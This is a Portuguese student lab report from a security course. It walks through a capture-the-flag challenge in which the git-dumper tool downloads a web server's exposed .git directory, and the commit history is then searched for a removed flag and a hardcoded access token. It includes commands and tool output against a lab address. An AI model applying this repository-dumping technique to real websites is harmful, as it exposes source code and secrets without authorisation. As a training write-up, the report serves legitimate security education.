

# Web Hacking

## Relatório

Gabriel Oliveira

**Git Exposed**

# Web hacking

## Relatório

### **Git Exposed**

Relatório sobre Git Exposed.  
Laboratório curso da Crowsec.

Aluno: Gabriel Oliveira Souza

Setembro  
09/2021

# Sumário

<b>1</b>	<b>O que é Git .....</b>	<b>1</b>
<b>2</b>	<b>Como funciona .....</b>	<b>1</b>
	<b>2.1 Comandos .....</b>	<b>1</b>
<b>3</b>	<b>Como explorar a falha? .....</b>	<b>1</b>

## 1 O que é Git

Git é uma ferramenta utilizada para controle e gerenciamento de versionamento de determinados arquivos e códigos, o mesmo visa ajudar o usuário a ter um controle maior de seu projeto, sendo assim, ajudando o mesmo a ter uma usabilidade mais confiável e mais fluída durante o processo e ciclo de vida de seu projeto.

## 2 Como funciona

### 2.1 Comandos

O Git possui diversos comandos para o determinado usuário realizar seu gerenciamento. Os principais são:

- > git clone = **'Clona um determinado diretório'**
- > git status = **'Verifica o status dos arquivos'**
- > git init = **'Cria um novo repositório'**
- > git add = **'Adiciona um arquivo/diretório'**
- > git commit = **'Realiza o commit'**
- > git log = **'Histórico de logs'**
- > git show = **'Mosta uma determinada atualização de um arquivo'**

## 3 Como explorar a falha?

Neste tópico iremos utilizar a ferramenta git-dumper e realizaremos o desafio do laboratório da crowsec.

Laboratório: Git-exposed

Ferramenta: Git-dumper [<https://github.com/arthaud/git-dumper>]

Para darmos início a resolução do laboratório, primeiro percebemos que devemos colocar uma 'flag' no endpoint **token** para a aplicação nos trazer um determinado resultado.

/?token=

Digite o token de acesso

Enviar token de acesso

Utilizando a ferramenta com o seguinte código abaixo, temos o seguinte resultado.

**python3 git\_dumper.py http://xx.xx.x.xx /home/verlom/Desktop/git**

```
verlom@verlom-virtual-machine:~/Desktop$ python3 /home/verlom/Desktop/git-dumper/git_dumper.py http://10.10.0.23/.git
Warning: Destination '/home/verlom/Desktop/git' is not empty
[-] Testing http://10.10.0.23/.git/HEAD [200]
[-] Testing http://10.10.0.23/.git/ [403]
[-] Fetching common files
[-] Already downloaded http://10.10.0.23/.git/description
[-] Already downloaded http://10.10.0.23/.git/hooks/post-update.sample
[-] Already downloaded http://10.10.0.23/.git/hooks/pre-applypatch.sample
[-] Already downloaded http://10.10.0.23/.git/hooks/pre-commit.sample
[-] Already downloaded http://10.10.0.23/.git/hooks/pre-push.sample
[-] Already downloaded http://10.10.0.23/.git/hooks/pre-rebase.sample
[-] Already downloaded http://10.10.0.23/.git/hooks/pre-receive.sample
[-] Already downloaded http://10.10.0.23/.git/hooks/prepare-commit-msg.sample
[-] Already downloaded http://10.10.0.23/.git/hooks/update.sample
[-] Already downloaded http://10.10.0.23/.git/index
[-] Already downloaded http://10.10.0.23/.git/info/exclude
[-] Already downloaded http://10.10.0.23/.git/hooks/commit-msg.sample
[-] Already downloaded http://10.10.0.23/.git/COMMIT_EDITMSG
[-] Already downloaded http://10.10.0.23/.git/hooks/applypatch-msg.sample
[-] Fetching http://10.10.0.23/.git/hooks/post-commit.sample [200]
[-] Fetching http://10.10.0.23/.gitignore [200]
[-] Fetching http://10.10.0.23/.git/hooks/post-receive.sample [200]
[-] http://10.10.0.23/.git/hooks/post-receive.sample responded with HTML
[-] Fetching http://10.10.0.23/.git/objects/info/packs [200]
[-] http://10.10.0.23/.git/objects/info/packs responded with HTML
[-] http://10.10.0.23/.gitignore responded with HTML
[-] http://10.10.0.23/.git/hooks/post-commit.sample responded with HTML
[-] Finding refs
[-] Fetching http://10.10.0.23/.git/HEAD [200]
[-] Fetching http://10.10.0.23/.git/ORIG_HEAD [200]
[-] Fetching http://10.10.0.23/.git/FETCH_HEAD [200]
[-] http://10.10.0.23/.git/FETCH_HEAD responded with HTML
[-] http://10.10.0.23/.git/ORIG_HEAD responded with HTML
[-] Fetching http://10.10.0.23/.git/config [200]
[-] Fetching http://10.10.0.23/.git/info/refs [200]
[-] http://10.10.0.23/.git/info/refs responded with HTML
[-] Fetching http://10.10.0.23/.git/logs/HEAD [200]
[-] Fetching http://10.10.0.23/.git/logs/refs/remotes/origin/HEAD [200]
```

Logo após, verificamos que foi nos retornado um arquivo denominado de **index.php**.

Podemos observar que, ao usar o comando **git init** e logo em seguida o comando **git log**, podemos perceber que existem 2 históricos, sendo o primeiro realizando o commit do arquivo e o segundo realizando uma atualização do arquivo em questão.

```

verlom@verlom-virtual-machine:~/Desktop/git$ git log
commit 7eb5abd9b86eae8e1cf2c808ebb3220286374337 (HEAD -> master)
Author: john <cvieira.eduardo@gmail.com>
Date:   Fri Sep 3 12:11:08 2021 -0300

    Removendo flag

commit 0336eb92ad29707c33038b67128be6284a62bd0f
Author: john <cvieira.eduardo@gmail.com>
Date:   Fri Sep 3 12:10:42 2021 -0300

    First commit

```

Para podermos ver as atualizações que o determinado arquivo sofreu, iremos utilizar o comando **git show [id commit]**, sendo assim podemos verificar o que aconteceu de atualização em um determinado arquivo.

```

verlom@verlom-virtual-machine:~/Desktop/git$ git show 7eb5abd9b86eae8e1cf2c808ebb3220286374337
commit 7eb5abd9b86eae8e1cf2c808ebb3220286374337 (HEAD -> master)
Author: john <cvieira.eduardo@gmail.com>
Date:   Fri Sep 3 12:11:08 2021 -0300

    Removendo flag

diff --git a/index.php b/index.php
index 0acc72c..2c82182 100644
--- a/index.php
+++ b/index.php
@@ -1,7 +1,7 @@
<?php
if(isset($_GET['token']) and !empty($_GET['token'])) {
    if($_GET['token'] == "Sup3rAdm1nT0k3n"){
-        echo "Get the flag: CS{[REDACTED]}";
+        echo "Get the flag: [REDACTED]";
    } else {
        echo "Token errado :p";
    }
}

```

Sendo assim, conseguimos achar a flag do desafio.